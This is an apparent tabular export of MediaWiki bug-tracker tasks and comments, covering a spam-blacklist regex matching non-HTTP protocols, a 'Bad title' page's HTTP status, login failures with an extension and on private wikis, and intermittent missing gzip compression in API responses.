+* ta.wikiquote.org",,,1329658324,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-80,True,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+36179,"Unexpectedly blocks all protocols, not just http/https","Since the fix for bug 33985, the spam blacklist will now block links for all protocols, not just http or https as documented. Is there any reason not to use the 'm' flag and anchor the regex?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1328242140,1328300138.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-wr2xynrlfio5shaa2tmm,task_description,resolved,True,c2,1,True,False,True,-82,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0
+163975,"Unexpectedly blocks all protocols, not just http/https","(In reply to comment #3)
+> $regexStart = '/(?:https?:)\/\/+[a-z0-9_\-.]*(';
+> 
+> would fix it, by not making the whole protocol bit optional
+
+That re-opens bug 33985. What probably needs to be done is something like
+
+$regexStart = '/^(?:https?:)?\/\/+[a-z0-9_\-.]*('; 
+
+so (in combination with the 'm' flag already included in $regexEnd) it only matches at the start of each line, but I don't have time right now to verify that works. At a glance it looks like it'll break detecting links in edit summaries, unless the link is at the start of the edit summary.",,,1328473126,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+163972,"Unexpectedly blocks all protocols, not just http/https","1.18wmf1 r110682
+trunk r110683",,,1328300138,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+163968,"Unexpectedly blocks all protocols, not just http/https","$regexStart = '/(?:https?:)\/\/+[a-z0-9_\-.]*(';
+
+would fix it, by not making the whole protocol bit optional",,,1328299781,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+163963,"Unexpectedly blocks all protocols, not just http/https","Enwiki had a broken entry for irc.freenode.net that suddenly started blocking external links to irc://irc.freenode.net/. In this case the blacklist entry was useless anyway.
+
+If the solution to the bug is to explicitly change the behavior of the extension to block all protocols, fine with me. But right now it is documented at [[mw:Extension:SpamBlacklist]] that it matches http and https protocols, not all protocols that include the ""//"".",,,1328242728,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+163957,"Unexpectedly blocks all protocols, not just http/https",Are there actual cases where you'd want to block http/https links but allow another protocol like gopher?,,,1328242509,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0
+35646,"""Bad title"" error page returns HTTP 200 OK instead of an error code","""Bad title"" page is served with an HTTP 200 ""OK"" response, should be 400 or maybe 403 or 404.
+
+Blocks bug 33628 -- mobile client is unable to determine that this was an error case because the page comes back without an HTTP-level error indication.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://en.wikipedia.org/wiki/%23",High,80.0,1326229680,1327488724.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-ms5xok4m7r45ev4pesw2,task_description,resolved,True,c2,1,True,False,True,-86,True,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+161334,"""Bad title"" error page returns HTTP 200 OK instead of an error code","(In reply to comment #6)
+> Great, thanks! When might this change actually appear in production?
+
+The process is to have the change pair reviewed. Then it is applied to the production branch and then deployed by someone with shell access.
+
+The change was merged by Roan Kattouw a few minutes ago with r110368 and applied on live site:
+
+$ curl -I 'http://en.wikipedia.org/wiki/%5B%5B'
+HTTP/1.0 400 Bad Request
+<snip>
+
+So that is live :-)",,,1328002277,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,True,,,-83,True,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+161326,"""Bad title"" error page returns HTTP 200 OK instead of an error code","**philinje** wrote:
+
+Great, thanks! When might this change actually appear in production?",,,1327600317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+161321,"""Bad title"" error page returns HTTP 200 OK instead of an error code",Added a new exception class with r110001.,,,1327488724,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,True,,,-83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+161316,"""Bad title"" error page returns HTTP 200 OK instead of an error code","Phil > I guess that kind of bug is for Platform Engineering (I am a member of that team).
+
+I did not notice it was blocking for Mobile applications.
+
+Tagging +platformeng.",,,1327475877,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,True,,,-83,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+161311,"""Bad title"" error page returns HTTP 200 OK instead of an error code","**philinje** wrote:
+
+Brion, who is the right person for this? And should we make any dependency on this in forthcoming mobile releases?",,,1327444984,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,False,,,-84,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+161304,"""Bad title"" error page returns HTTP 200 OK instead of an error code","**sumanah** wrote:
+
+Marked ""easy"" because hashar placed this on the http://www.mediawiki.org/wiki/Annoying_Little_Bug page.",,,1326410617,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,False,,,-85,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+161297,"""Bad title"" error page returns HTTP 200 OK instead of an error code","We could create a BadTitleError exception which would just call ErrorPageError( 'bad title', 'badtitletext' ) and set the 400 error code.",,,1326409662,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,True,,,-85,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0
+35609,NewUserMessage extensions breaks login,"I installed this extension and it works fine for a new user signing up, but it breaks login for existing users. Logging in as an existing user generates the error:
+
+Login error
+You have not specified a valid username.
+
+Disabling the extension resolved the issue for me. This is using MediaWiki 1.18.0. Nothing showed up in the error log.
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",High,80.0,1326123000,1350964208.0,PHID-USER-m4lc24apros2wn24aqyu,False,,False,PHID-TASK-ses3qd5xfsiawguaqdlu,task_description,declined,True,c2,1,False,False,True,-86,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+159215,NewUserMessage extensions breaks login,"Sorry to go silent on this thread. I'm now using NewUserMessage on a number of wikis and indeed it works fine, with one exception. For some reason I have one instance where my user account (and seemingly no others) cannot log in if NewUserMessage is activated. If I deactivate it I can login. I'm not going to reopen this, I'll try to debug further. I'm very confused about what is happening.",,,1358809691,,PHID-USER-m4lc24apros2wn24aqyu,False,,,PHID-TASK-ses3qd5xfsiawguaqdlu,task_subcomment,,True,c2,1,False,,,-32,True,1,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+159211,NewUserMessage extensions breaks login,"Unfortunately closing this report as no further information has been provided.
+
+Jamie: Please feel free to reopen this report if you can provide the information asked for and if this still happens in a recent supported version (see http://www.mediawiki.org/wiki/Version_lifecycle ). Thanks!",,,1350964208,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ses3qd5xfsiawguaqdlu,task_subcomment,,True,c2,1,True,,,-45,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0
+159208,NewUserMessage extensions breaks login,"**AzianAlex** wrote:
+
+Works fine for me too. Have you tried clearing your cache?",,,1337632645,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ses3qd5xfsiawguaqdlu,task_subcomment,,True,c2,1,False,,,-67,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+159204,NewUserMessage extensions breaks login,"**vivekee047** wrote:
+
+This works fine for me. Can you check it once again please.
+Thanks",,,1335110687,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ses3qd5xfsiawguaqdlu,task_subcomment,,True,c2,1,False,,,-71,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+34709,Private Wiki users are always taken to Special:Badtitle on successful login,"**Author:** `phil`
+
+**Description:**
+When visiting a private wiki, users are shown the message
+'You must log in to view other pages'.
+Because of the recent changes in 1.17.1 that hide page titles from users who don't have permission to see them,  the log in link now has a returnto of Special:BadTitle.
+
+The net result is that when a legitimate user logs in, they are taken to the Badtitle error page, rather than to the Mainpage.
+
+--------------------------
+**Version**: 1.17.x
+**Severity**: major",High,80.0,1322584260,1323897786.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ru77yevpygf73fu3u6a6,task_description,resolved,True,c2,1,False,False,True,-92,True,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+1732265,Private Wiki users are always taken to Special:Badtitle on successful login,,,,1622547563,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,3,True,,,404,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1732206,Private Wiki users are always taken to Special:Badtitle on successful login,,,,1622541546,,PHID-USER-hxlplcwwug73flheehfw,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,3,False,,,404,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+159924,Private Wiki users are always taken to Special:Badtitle on successful login,*** Bug 33130 has been marked as a duplicate of this bug. ***,,,1323902949,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-89,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+159921,Private Wiki users are always taken to Special:Badtitle on successful login,Confirmed fixed!,,,1323897786,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-89,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+159918,Private Wiki users are always taken to Special:Badtitle on successful login,"Merged in production with r106206 and deployed by Roan a few minutes after.
+The issue should have disappeared from office wiki for example.",,,1323897107,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-89,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+159915,Private Wiki users are always taken to Special:Badtitle on successful login,"Fixed in:
+- REL1_17 with r106170
+- REL1_18 with r106171
+
+Pending code review.",,,1323855736,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-89,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+159909,Private Wiki users are always taken to Special:Badtitle on successful login,"I am pretty sure we had some code to avoid returning to a badtitle and return to main_page instead. I must have skipped it while doing the backports.
+
+Will poke this bug ASAP.",,,1323812259,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-90,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+159906,Private Wiki users are always taken to Special:Badtitle on successful login,"(In reply to comment #5)
+> Notes from triage:
+> 
+> the 'You must log in to view other pages' message comes from
+> OutputPage::showPermissionsErrorPage().
+> 
+> r104505 on trunk has a tweak in that function to grab the original title from
+> $wgRequest's 'title' parameter.
+> 
+> The backports to 1.17, 1.18, and 1.18wmf1 don't appear to include this part, so
+> presumably it's still pulling from the variable that's been replaced with
+> Special:Badtitle.
+
+Reassigning to Antoine since I think he did those backports.",,,1323734424,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-90,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+159904,Private Wiki users are always taken to Special:Badtitle on successful login,"**trois.singes** wrote:
+
+As for me, I *do* reproduce it on 1.18.0 release.",,,1323181115,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+159900,Private Wiki users are always taken to Special:Badtitle on successful login,"Notes from triage:
+
+the 'You must log in to view other pages' message comes from OutputPage::showPermissionsErrorPage().
+
+r104505 on trunk has a tweak in that function to grab the original title from $wgRequest's 'title' parameter.
+
+The backports to 1.17, 1.18, and 1.18wmf1 don't appear to include this part, so presumably it's still pulling from the variable that's been replaced with Special:Badtitle.",,,1322861173,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-91,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+159897,Private Wiki users are always taken to Special:Badtitle on successful login,Almost certainly introduced in r104505.  Just need to fix in a way that doesn't reintroduce bug 32276,,,1322860638,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+159892,Private Wiki users are always taken to Special:Badtitle on successful login,"Special:BadTitle gets passed as the 'returnto' parameter for the login link that's displayed in the page body content when unable to view a page due to permissions.
+
+The login link in the personal bar at top of the screen still has the original page title.",,,1322860376,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-91,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0
+159885,Private Wiki users are always taken to Special:Badtitle on successful login,"**olivier.beaton** wrote:
+
+I am not able to reproduce this on 1.18.0 release or trunk 2011-11-29. However it occurs every single time on 1.17.1, all stock installs.",,,1322663395,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-91,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+159878,Private Wiki users are always taken to Special:Badtitle on successful login,"I get this on https://office.wikimedia.org/ as well, so the same bug hit 1.18. :P",,,1322613909,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-91,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+33603,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"While repeatedly fetching the URL
+
+http://en.wikipedia.org/w/api.php?format=xml&action=query&list=categorymembers&cmtitle=Category:Candidates_for_speedy_deletion
+
+with ""Accept-encoding: gzip"" set, occasionally (about 10% probability) I will receive a response that is uncompressed. I've received reports this also happens when using API login (see [[User talk:MER-C#Wiki.java...again]]).
+
+Test code:
+
+import java.io.*;
+import java.net.*;
+
+public class Blah
+{
+    public static void main(String[] args) throws IOException
+    {
+        for (int i = 0; i < 25; i++)
+        {
+            URLConnection connection = new URL(""http://en.wikipedia.org/w/api.php?format=xml&action=query&list=categorymembers&cmtitle=Category:Candidates_for_speedy_deletion"").openConnection();
+            connection.setRequestProperty(""Accept-encoding"", ""gzip"");
+            connection.setRequestProperty(""User-Agent"", ""Test script"");
+            connection.connect();
+            System.out.println(connection.getHeaderFields());
+        }
+    }
+}
+
+This merely dumps the HTTP headers. Sample output:
+
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:51 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq38.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq38.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:52 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq64.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq64.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:52 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq64.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq64.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:54 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq65.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq65.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
